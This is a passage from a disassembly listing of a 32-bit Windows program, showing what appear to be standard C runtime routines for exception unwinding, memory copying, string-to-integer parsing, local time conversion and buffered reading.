arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_416368
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_4163A7:				; CODE XREF: sub_41638A:loc_4163E2j
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4163E4
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_4163E4
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_4163E2
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41641E
		call	dword ptr [ebx+esi*4+8]


loc_4163E2:				; CODE XREF: sub_41638A+44j
		jmp	short loc_4163A7
; ---------------------------------------------------------------------------


loc_4163E4:				; CODE XREF: sub_41638A+2Aj
					; sub_41638A+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41638A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4163F2	proc near		; CODE XREF: sub_41B306+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_416368
		jnz	short locret_416414
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_416414
		mov	eax, 1

locret_416414:				; CODE XREF: sub_4163F2+10j
					; sub_4163F2+1Bj
		retn
sub_4163F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_416415	proc near		; CODE XREF: sub_41B5D0+1Ep
					; sub_41B5D0+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_42F33C
		jmp	short loc_416428
sub_416415	endp


; =============== S U B	R O U T	I N E =======================================



sub_41641E	proc near		; CODE XREF: sub_41638A+4Fp
					; sub_41D894+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_42F33C
		mov	ecx, [ebp+8]


loc_416428:				; CODE XREF: sub_416415+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41641E	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_416438	proc near		; CODE XREF: sub_4031FF+5p
					; sub_4033A1+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_416438	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_416457	proc near		; CODE XREF: sub_403834+26p
					; _0:00420902p	...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_415DE1
		pop	ecx
		retn
sub_416457	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416470	proc near		; CODE XREF: sub_4038A5+3Ap
					; sub_418ED4+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_416490
		cmp	edi, eax
		jb	loc_416608


loc_416490:				; CODE XREF: sub_416470+16j
		test	edi, 3
		jnz	short loc_4164AC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4164CC
		rep movsd
		jmp	off_4165B8[edx*4]
; ---------------------------------------------------------------------------


loc_4164AC:				; CODE XREF: sub_416470+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_4164C4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_4164CC+4[eax*4]
; ---------------------------------------------------------------------------


loc_4164C4:				; CODE XREF: sub_416470+46j
		jmp	dword ptr loc_4165C8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4164CC:				; CODE XREF: sub_416470+31j
					; sub_416470+8Ej ...
		jmp	off_41654C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4164E0
		dd offset loc_41650C
		dd offset loc_416530
; ---------------------------------------------------------------------------


loc_4164E0:				; DATA XREF: sub_416470+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_4164CC
		rep movsd
		jmp	off_4165B8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41650C:				; DATA XREF: sub_416470+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_4164CC
		rep movsd
		jmp	off_4165B8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_416530:				; DATA XREF: sub_416470+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_4164CC
		rep movsd
		jmp	off_4165B8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41654C	dd offset loc_4165AF	; DATA XREF: sub_416470:loc_4164CCr
		dd offset loc_41659C
		dd offset loc_416594
		dd offset loc_41658C
		dd offset loc_416584
		dd offset loc_41657C
		dd offset loc_416574
		dd offset loc_41656C
; ---------------------------------------------------------------------------


loc_41656C:				; CODE XREF: sub_416470:loc_4164CCj
					; DATA XREF: sub_416470+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_416574:				; CODE XREF: sub_416470:loc_4164CCj
					; DATA XREF: sub_416470+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41657C:				; CODE XREF: sub_416470:loc_4164CCj
					; DATA XREF: sub_416470+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_416584:				; CODE XREF: sub_416470:loc_4164CCj
					; DATA XREF: sub_416470+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41658C:				; CODE XREF: sub_416470:loc_4164CCj
					; DATA XREF: sub_416470+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_416594:				; CODE XREF: sub_416470:loc_4164CCj
					; DATA XREF: sub_416470+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41659C:				; CODE XREF: sub_416470:loc_4164CCj
					; DATA XREF: sub_416470+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4165AF:				; CODE XREF: sub_416470:loc_4164CCj
					; DATA XREF: sub_416470:off_41654Co
		jmp	off_4165B8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4165B8	dd offset loc_4165C8	; DATA XREF: sub_416470+35r
					; sub_416470+92r ...
		dd offset loc_4165D0
		dd offset loc_4165DC
		dd offset loc_4165F0
; ---------------------------------------------------------------------------


loc_4165C8:				; CODE XREF: sub_416470+35j
					; sub_416470+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_4165D0:				; CODE XREF: sub_416470+35j
					; sub_416470+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4165DC:				; CODE XREF: sub_416470+35j
					; sub_416470+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_4165F0:				; CODE XREF: sub_416470+35j
					; sub_416470+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_416608:				; CODE XREF: sub_416470+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41663C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_416630
		std
		rep movsd
		cld
		jmp	off_416750[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_416630:				; CODE XREF: sub_416470+1B1j
					; sub_416470+208j ...
		neg	ecx
		jmp	off_416700[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41663C:				; CODE XREF: sub_416470+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_416654
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_416654+4[eax*4]
; ---------------------------------------------------------------------------


loc_416654:				; CODE XREF: sub_416470+1D6j
					; DATA XREF: sub_416470+1DDr
		jmp	off_416750[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_416667+1
		dd offset loc_416688
; ---------------------------------------------------------------------------
		mov	al, 66h
		inc	ecx


loc_416667:				; DATA XREF: sub_416470+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_416630
		std
		rep movsd
		cld
		jmp	off_416750[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_416688:				; DATA XREF: sub_416470+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_416630
		std
		rep movsd
		cld
		jmp	off_416750[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_416630
		std
		rep movsd
		cld
		jmp	off_416750[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_416704
		dd offset loc_41670C
		dd offset loc_416714
		dd offset loc_41671C
		dd offset loc_416724
		dd offset loc_41672C
		dd offset loc_416734
off_416700	dd offset loc_416747	; DATA XREF: sub_416470+1C2r
; ---------------------------------------------------------------------------


loc_416704:				; DATA XREF: sub_416470+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41670C:				; DATA XREF: sub_416470+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_416714:				; DATA XREF: sub_416470+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41671C:				; DATA XREF: sub_416470+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_416724:				; DATA XREF: sub_416470+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41672C:				; DATA XREF: sub_416470+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_416734:				; DATA XREF: sub_416470+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_416747:				; CODE XREF: sub_416470+1C2j
					; DATA XREF: sub_416470:off_416700o
		jmp	off_416750[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_416750	dd offset loc_416760	; DATA XREF: sub_416470+1B7r
					; sub_416470:loc_416654r ...
		dd offset loc_416768
		dd offset loc_416778
		dd offset loc_41678C
; ---------------------------------------------------------------------------


loc_416760:				; CODE XREF: sub_416470+1B7j
					; sub_416470:loc_416654j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_416768:				; CODE XREF: sub_416470+1B7j
					; sub_416470:loc_416654j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_416778:				; CODE XREF: sub_416470+1B7j
					; sub_416470:loc_416654j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41678C:				; CODE XREF: sub_416470+1B7j
					; sub_416470:loc_416654j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_416470	endp


; =============== S U B	R O U T	I N E =======================================



sub_4167A5	proc near		; CODE XREF: sub_40390C+34p
					; sub_40390C+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_415D41
		pop	ecx
		pop	ecx
		retn
sub_4167A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4167B3	proc near		; CODE XREF: sub_416820+4p

arg_0		= dword	ptr  4

		push	esi
		push	ds:dword_4CA71C
		call	sub_41B6C8
		mov	edx, ds:dword_4CA71C
		pop	ecx
		mov	ecx, ds:dword_4CA718
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_416812
		push	edx
		call	sub_41B6C8
		add	eax, 10h
		push	eax
		push	ds:dword_4CA71C
		call	sub_41756F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4167F5
		retn
; ---------------------------------------------------------------------------


loc_4167F5:				; CODE XREF: sub_4167B3+3Fj
		mov	ecx, ds:dword_4CA718
		sub	ecx, ds:dword_4CA71C
		mov	ds:dword_4CA71C, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	ds:dword_4CA718, ecx


loc_416812:				; CODE XREF: sub_4167B3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	ds:dword_4CA718, 4
		retn
sub_4167B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_416820	proc near		; CODE XREF: sub_4039F9+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_4167B3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_416820	endp


; =============== S U B	R O U T	I N E =======================================



sub_416832	proc near		; DATA XREF: _2:00424010o
		push	80h
		call	sub_415D2F
		test	eax, eax
		pop	ecx
		mov	ds:dword_4CA71C, eax
		jnz	short loc_416853
		push	18h
		call	sub_417DFA
		mov	eax, ds:dword_4CA71C
		pop	ecx


loc_416853:				; CODE XREF: sub_416832+12j
		and	dword ptr [eax], 0
		mov	eax, ds:dword_4CA71C
		mov	ds:dword_4CA718, eax
		retn
sub_416832	endp


; =============== S U B	R O U T	I N E =======================================



sub_416861	proc near		; CODE XREF: sub_418CBC+11Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_416878
		add	esp, 10h
		retn
sub_416861	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416878	proc near		; CODE XREF: sub_416861+Ep
					; sub_416A80+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_416890:				; CODE XREF: sub_416878+46j
		cmp	ds:dword_42F56C, 1
		jle	short loc_4168A8
		movzx	eax, bl
		push	8
		push	eax
		call	sub_418762
		pop	ecx
		pop	ecx
		jmp	short loc_4168B7
; ---------------------------------------------------------------------------


loc_4168A8:				; CODE XREF: sub_416878+1Fj
		mov	ecx, ds:off_42F360
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_4168B7:				; CODE XREF: sub_416878+2Ej
		test	eax, eax
		jz	short loc_4168C0
		mov	bl, [esi]
		inc	esi
		jmp	short loc_416890
; ---------------------------------------------------------------------------


loc_4168C0:				; CODE XREF: sub_416878+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_4168CE
		or	[ebp+arg_C], 2
		jmp	short loc_4168D3
; ---------------------------------------------------------------------------


loc_4168CE:				; CODE XREF: sub_416878+4Ej
		cmp	bl, 2Bh
		jnz	short loc_4168D9


loc_4168D3:				; CODE XREF: sub_416878+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_4168D9:				; CODE XREF: sub_416878+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_416A70
		cmp	eax, 1
		jz	loc_416A70
		cmp	eax, 24h
		jg	loc_416A70
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_416921
		cmp	bl, 30h
		jz	short loc_41690B
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41693D
; ---------------------------------------------------------------------------


loc_41690B:				; CODE XREF: sub_416878+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41691E
		cmp	al, 58h
		jz	short loc_41691E
		mov	[ebp+arg_8], 8
		jmp	short loc_41693D
; ---------------------------------------------------------------------------


loc_41691E:				; CODE XREF: sub_416878+97j
					; sub_416878+9Bj
		mov	[ebp+arg_8], ecx


loc_416921:				; CODE XREF: sub_416878+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41693D
		cmp	bl, 30h
		jnz	short loc_41693D
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_416935
		cmp	al, 58h
		jnz	short loc_41693D


loc_416935:				; CODE XREF: sub_416878+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_41693D:				; CODE XREF: sub_416878+91j
					; sub_416878+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_41694D:				; CODE XREF: sub_416878+16Cj
		cmp	ds:dword_42F56C, 1
		movzx	esi, bl
		jle	short loc_416965
		push	4
		push	esi
		call	sub_418762
		pop	ecx
		pop	ecx
		jmp	short loc_416970
; ---------------------------------------------------------------------------


loc_416965:				; CODE XREF: sub_416878+DFj
		mov	eax, ds:off_42F360
		mov	al, [eax+esi*2]
		and	eax, 4


loc_416970:				; CODE XREF: sub_416878+EBj
		test	eax, eax
		jz	short loc_41697C
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_4169AE
; ---------------------------------------------------------------------------


loc_41697C:				; CODE XREF: sub_416878+FAj
		cmp	ds:dword_42F56C, 1
		jle	short loc_416990
		push	edi
		push	esi
		call	sub_418762
		pop	ecx
		pop	ecx
		jmp	short loc_41699B
; ---------------------------------------------------------------------------


loc_416990:				; CODE XREF: sub_416878+10Bj
		mov	eax, ds:off_42F360
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_41699B:				; CODE XREF: sub_416878+116j
		test	eax, eax
		jz	short loc_4169E9
		movsx	eax, bl
		push	eax
		call	sub_41B729
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_4169AE:				; CODE XREF: sub_416878+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4169E9
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_4169D3
		jnz	short loc_4169CD
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_4169D3


loc_4169CD:				; CODE XREF: sub_416878+147j
		or	[ebp+arg_C], 4
		jmp	short loc_4169DC
; ---------------------------------------------------------------------------


loc_4169D3:				; CODE XREF: sub_416878+145j
					; sub_416878+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_4169DC:				; CODE XREF: sub_416878+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41694D
; ---------------------------------------------------------------------------


loc_4169E9:				; CODE XREF: sub_416878+125j
					; sub_416878+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_416A07
		test	edx, edx
		jz	short loc_416A01
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_416A01:				; CODE XREF: sub_416878+181j
		and	[ebp+var_8], 0
		jmp	short loc_416A54
; ---------------------------------------------------------------------------


loc_416A07:				; CODE XREF: sub_416878+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_416A2D
		test	cl, 1
		jnz	short loc_416A54
		and	ecx, 2
		jz	short loc_416A24
		cmp	[ebp+var_8], 80000000h
		ja	short loc_416A2D


loc_416A24:				; CODE XREF: sub_416878+1A1j
		test	ecx, ecx
		jnz	short loc_416A54
		cmp	[ebp+var_8], eax
		jbe	short loc_416A54


loc_416A2D:				; CODE XREF: sub_416878+197j
					; sub_416878+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	ds:dword_4C9084, 22h
		jz	short loc_416A43
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_416A54
; ---------------------------------------------------------------------------


loc_416A43:				; CODE XREF: sub_416878+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_416A54:				; CODE XREF: sub_416878+18Dj
					; sub_416878+19Cj ...
		test	edx, edx
		jz	short loc_416A5D
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_416A5D:				; CODE XREF: sub_416878+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_416A6B
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_416A6B:				; CODE XREF: sub_416878+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_416A7B
; ---------------------------------------------------------------------------


loc_416A70:				; CODE XREF: sub_416878+66j
					; sub_416878+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_416A79
		mov	[eax], edi


loc_416A79:				; CODE XREF: sub_416878+1FDj
		xor	eax, eax


loc_416A7B:				; CODE XREF: sub_416878+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416878	endp


; =============== S U B	R O U T	I N E =======================================



sub_416A80	proc near		; CODE XREF: sub_403A1B+4BDp
					; sub_40D2E0+3773p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_416878
		add	esp, 10h
		retn
sub_416A80	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416A97	proc near		; CODE XREF: sub_403A1B+266p
					; sub_403A1B+46Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_415C80
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_41B7F5
		add	esp, 10h
		leave
		retn
sub_416A97	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416ACB	proc near		; CODE XREF: sub_403A1B+4Ep

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_42205C	; GetLocalTime
		lea	eax, [ebp+var_20]
		push	eax
		call	ds:dword_422178	; GetSystemTime
		mov	ax, [ebp+var_16]
		cmp	ax, ds:word_4C907A
		jnz	short loc_416B30
		mov	ax, [ebp+var_18]
		cmp	ax, ds:word_4C9078
		jnz	short loc_416B30
		mov	ax, [ebp+var_1A]
		cmp	ax, ds:word_4C9076
		jnz	short loc_416B30
		mov	ax, [ebp+var_1E]
		cmp	ax, ds:word_4C9072
		jnz	short loc_416B30
		mov	ax, [ebp+var_20]
		cmp	ax, ds:word_4C9070
		jnz	short loc_416B30
		mov	eax, ds:dword_4C9068
		jmp	short loc_416B75
; ---------------------------------------------------------------------------


loc_416B30:				; CODE XREF: sub_416ACB+28j
					; sub_416ACB+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		call	ds:dword_422174	; GetTimeZoneInformation
		cmp	eax, 0FFFFFFFFh
		jz	short loc_416B5D
		cmp	eax, 2
		jnz	short loc_416B59
		cmp	[ebp+var_32], 0
		jz	short loc_416B59
		cmp	[ebp+var_24], 0
		jz	short loc_416B59
		push	1
		pop	eax
		jmp	short loc_416B60
; ---------------------------------------------------------------------------


loc_416B59:				; CODE XREF: sub_416ACB+7Aj
					; sub_416ACB+81j ...
		xor	eax, eax
		jmp	short loc_416B60
; ---------------------------------------------------------------------------


loc_416B5D:				; CODE XREF: sub_416ACB+75j
		or	eax, 0FFFFFFFFh


loc_416B60:				; CODE XREF: sub_416ACB+8Cj
					; sub_416ACB+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_4C9070
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	ds:dword_4C9068, eax
		pop	esi


loc_416B75:				; CODE XREF: sub_416ACB+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_41C2A6
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_416BA5
		mov	[ecx], eax

locret_416BA5:				; CODE XREF: sub_416ACB+D6j
		leave
		retn
sub_416ACB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416BA7	proc near		; CODE XREF: sub_40409E+4Ep
					; sub_40525F+30Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_416BCB
		xor	eax, eax
		jmp	loc_416C74
; ---------------------------------------------------------------------------


loc_416BCB:				; CODE XREF: sub_416BA7+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_416BDE
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_416BEA
; ---------------------------------------------------------------------------


loc_416BDE:				; CODE XREF: sub_416BA7+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_416BEA
; ---------------------------------------------------------------------------


loc_416BE7:				; CODE XREF: sub_416BA7+C4j
		mov	ecx, [ebp+arg_0]


loc_416BEA:				; CODE XREF: sub_416BA7+35j
					; sub_416BA7+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_416C1C
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_416C1C
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_416C01
		mov	edi, eax


loc_416C01:				; CODE XREF: sub_416BA7+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_415560
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_416C67
; ---------------------------------------------------------------------------


